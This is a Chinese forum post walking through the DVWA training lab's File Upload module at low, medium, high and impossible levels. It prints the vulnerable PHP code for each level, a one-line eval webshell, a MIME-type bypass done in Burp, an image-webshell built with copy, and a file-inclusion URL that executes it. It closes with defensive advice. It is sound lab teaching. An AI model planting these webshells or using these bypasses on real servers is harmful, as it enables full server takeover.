web基础—dvwa靶场(五)File Upload

打印 上一主题 下一主题

主题 639|帖子 639|积分 1917

File Upload(文件上传)

上传的文件对 web 应用程序来说是一个巨大的风险,许多攻击的第一步是上传攻击代码到被攻击的系统上,然后攻击者只必要找到方法来实行代码即可完成攻击。也就是是说,文件上传是攻击者必要完成的第一步。
不受限制的文件上载的结果大概不同,包括完全接管系统、文件系统过载、将攻击转发到后端系统以及简单的破坏。这取决于应用程序对上载的文件做了什么,和文件的存储位置。
利用文件上传漏洞,在目标系统(例如 phpinfo() 或 system())上实行您选择的任何 PHP 函数。

Low Level

Low level 不会以任何方式查抄正在上载的文件的内容,它信托虽有上传的文件。
源码审计

源码如下,basename(path,suffix) 函数返回路径中的文件名部分,假如可选参数 suffix 为空则返回的文件名包含后缀名,反之不包含后缀名。move_uploaded_file() 函数将上传的文件移动到新位置。若成功则返回 true,否则返回 false。由此可见源码对上传文件直接移动,而文件的范例、内容没有做任何的查抄、过滤。
  1. <?php
  2. if(isset($_POST['Upload'])){
  3.     // Where are we going to be writing to?
  4.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5.     $target_path .= basename($_FILES['uploaded']['name']);
  6.     // Can we move the file to the upload folder?
  7.     if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)){
  8.         // No
  9.         echo '<pre>Your image was not uploaded.</pre>';
  10.     }
  11.     else {
  12.         // Yes!
  13.         echo "<pre>{$target_path} succesfully uploaded!</pre>";
  14.     }
  15. }
  16. ?>
复制代码
攻击方式

由于没有任何的过滤,因此我们可以直接上传一个一句话木马。
  1. <?php @eval($_POST['attack']) ?>
复制代码
直接上传,网页没有举行过滤,直接返回了上传成功的信息。
 


打开蚁剑,使用上传的一句话木马举行毗连,直接 Webshell。此时可以随意访问服务器上的恣意文件,举行恣意操作。

漏洞复现

  从源码中可以看到对上传文件的范例、内容没有做任何的过滤与查抄,同时告诉了我们文件上传的路径,存在明显的文件上传漏洞。
(1)上传一个phpinfo.php举行测试


 当我们上传成功后,会提示我们成功上传,并且返回一个上传文件的路径
(2)打开我们所上传的文件



Medium Level

在中等级的页面下,将在上传时查抄客户端报告的文件范例。
源码审计

源码如下,FILES 是一个已经弃用的 HTTP 文件上传变量,它是一个通过 HTTP POST 方式上传到当前脚本的项目的数组。由此可见源码会获取文件的文件名、文件范例和文件大小,它要求文件范例必须是 jpeg 大概 png,同时限制文件大小不能超过 100000B(约为97.6KB)。
  1. <?php
  2. if(isset($_POST['Upload'])){
  3.     // Where are we going to be writing to?
  4.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5.     $target_path .= basename($_FILES['uploaded']['name']);
  6.     // File information
  7.     $uploaded_name = $_FILES['uploaded']['name'];
  8.     $uploaded_type = $_FILES['uploaded']['type'];
  9.     $uploaded_size = $_FILES['uploaded']['size'];
  10.     // Is it an image?
  11.     if(($uploaded_type == "image/jpeg" || $uploaded_type == "image/png") && ($uploaded_size < 100000)){
  12.         // Can we move the file to the upload folder?
  13.         if(!move_uploaded_file( $_FILES['uploaded']['tmp_name'], $target_path)){
  14.             // No
  15.             echo '<pre>Your image was not uploaded.</pre>';
  16.         }
  17.         else{
  18.             // Yes!
  19.             echo "<pre>{$target_path} succesfully uploaded!</pre>";
  20.         }
  21.     }
  22.     else{
  23.         // Invalid file
  24.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  25.     }
  26. }
  27. ?>
复制代码
此时我们再直接传输上面的一句话木马,会发现上传失败。

攻击方式

我们照旧先做个一句话木马,然后用 brup 抓包,看到上传的 PHP 文件范例会被表现在包中。
 


修改文件范例为 “image/png”,然后放包。
 


可以看到固然我们传的照旧一句话木马,但是通过修改 http 报文可以通过网页的白名单检测,再次蚁剑毗连即可。

漏洞复现

(1)照旧使用刚才的phpinfo.php(把刚才上传的谁人记得删掉)


 

 (2)打开上传的文件



High Level

当服务器从客户端接收到文件,它将实验调整哀求中包含的任何图像的大小。
源码审计

源码如下,strrpos(string,find,start) 函数返回字符串 find 在另一字符串 string 中最后一次出现的位置,假如没有找到字符串则返回 false,可选参数 start 规定在那里开始搜刮。getimagesize(string filename) 函数会通过读取文件头,返回图片的长、宽等信息,假如没有干系的图片文件头则报错。源码通过字符串匹配来确定文件后缀名,并且查看文件的干系参数,提高了过滤的强度。
  1. <?php
  2. if(isset($_POST['Upload'])){
  3.     // Where are we going to be writing to?
  4.     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  5.     $target_path .= basename($_FILES['uploaded']['name']);
  6.     // File information
  7.     $uploaded_name = $_FILES['uploaded']['name'];
  8.     $uploaded_ext  = substr( $uploaded_name, strrpos($uploaded_name, '.') + 1);
  9.     $uploaded_size = $_FILES['uploaded']['size'];
  10.     $uploaded_tmp  = $_FILES['uploaded']['tmp_name'];
  11.     // Is it an image?
  12.     if((strtolower($uploaded_ext) == "jpg" || strtolower($uploaded_ext) == "jpeg" || strtolower($uploaded_ext) == "png")
  13.                                            &&($uploaded_size < 100000) && getimagesize( $uploaded_tmp)){
  14.         // Can we move the file to the upload folder?
  15.         if(!move_uploaded_file($uploaded_tmp, $target_path)){
  16.             // No
  17.             echo '<pre>Your image was not uploaded.</pre>';
  18.         }
  19.         else{
  20.             // Yes!
  21.             echo "<pre>{$target_path} succesfully uploaded!</pre>";
  22.         }
  23.     }
  24.     else{
  25.         // Invalid file
  26.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  27.     }
  28. }
  29. ?>
复制代码
攻击方式

由于源码会去查抄文件头,现在我们不能再传 php 文件了,应该把一句话木马包在一张图片里面。
 


首先我们要预备一张图片和一句话木马,然后使用 copy 命令把两个文件合成为一个文件。
  1. copy 1.jpg/b + 1.php/a  2.jpg
复制代码
然后直接上传,网页提示上传成功。但是此时是不能用蚁剑毗连的,由于蚁剑的原理是向上传文件发送包含参数的 post 哀求,通过控制参数来实行不同的命令。这里服务器将木马文件剖析成了图片文件,因此向其发送 post 哀求时,服务器并不会实行相应命令。
 


因此我们要把这张图片当做 php 来实行才行,这时我们想到了 File Inclusion(文件包含) 漏洞,构造 payload。
  1. http://localhost/dvwa-master/vulnerabilities/fi/?page=file:///D:\DVWA-master\hackable\uploads\2.jpg
复制代码
访问下看看,可以看到这个 url 使得一句话木马被剖析,也就是说这个时间就可以使用蚁剑毗连。

漏洞复现

(1)先制作一个图片马(注意:图片马的文件大小不能超过100000B)


  1. copy phpinfo.png/b+phpinfo.php/a phpinfo.png
复制代码


 

 (2)将预备好的图片马上传


 (3)打开上传的图片马,可以看到上传成功


 (4)联合文件包含漏洞,去包含我们上传的文件,成功实行phpinfo



Impossible Level

到目前为止,源码将查抄所有级别的所有内容。
源码如下,Impossible 级别的代码对上传文件举行了重定名,并参加 Anti-CSRF token 防护 CSRF 攻击,同时使用上诉所有机制对文件的内容,导致攻击者无法上传木马文件。
  1. <?php
  2. if( isset( $_POST[ 'Upload' ] ) ) {
  3.     // Check Anti-CSRF token
  4.     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  5.     // File information
  6.     $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
  7.     $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
  8.     $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
  9.     $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
  10.     $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
  11.     // Where are we going to be writing to?
  12.     $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
  13.     //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
  14.     $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  15.     $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
  16.     $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
  17.     // Is it an image?
  18.     if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
  19.         ( $uploaded_size < 100000 ) &&
  20.         ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
  21.         getimagesize( $uploaded_tmp ) ) {
  22.         // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
  23.         if( $uploaded_type == 'image/jpeg' ) {
  24.             $img = imagecreatefromjpeg( $uploaded_tmp );
  25.             imagejpeg( $img, $temp_file, 100);
  26.         }
  27.         else {
  28.             $img = imagecreatefrompng( $uploaded_tmp );
  29.             imagepng( $img, $temp_file, 9);
  30.         }
  31.         imagedestroy( $img );
  32.         // Can we move the file to the web root from the temp folder?
  33.         if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
  34.             // Yes!
  35.             echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
  36.         }
  37.         else {
  38.             // No
  39.             echo '<pre>Your image was not uploaded.</pre>';
  40.         }
  41.         // Delete any temp files
  42.         if( file_exists( $temp_file ) )
  43.             unlink( $temp_file );
  44.     }
  45.     else {
  46.         // Invalid file
  47.         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
  48.     }
  49. }
  50. // Generate Anti-CSRF token
  51. generateSessionToken();
  52. ?>
复制代码
漏洞复现

  这个级别的文件上传对上传的文件举行了重定名(搞了一个MD5的加密),还增加了token值的校验,对文件的内容也做了严格的查抄。
总结与防御

在向网页上传文件时,假如服务器端代码未对客户端上传的文件举行严格的验证和过滤,就容易被上传上来的脚本文件等木马攻击。这类脚本称之为 WebShell,用户可以利用这种恶意脚本查看服务器目次、修改服务器文件和实行系统命令等。
为了防御这种攻击,可以使用白名单判断文件范例和后缀是否合法,同时对上传后的文件举行重定名防止被攻击者利用。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

忿忿的泥巴坨

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表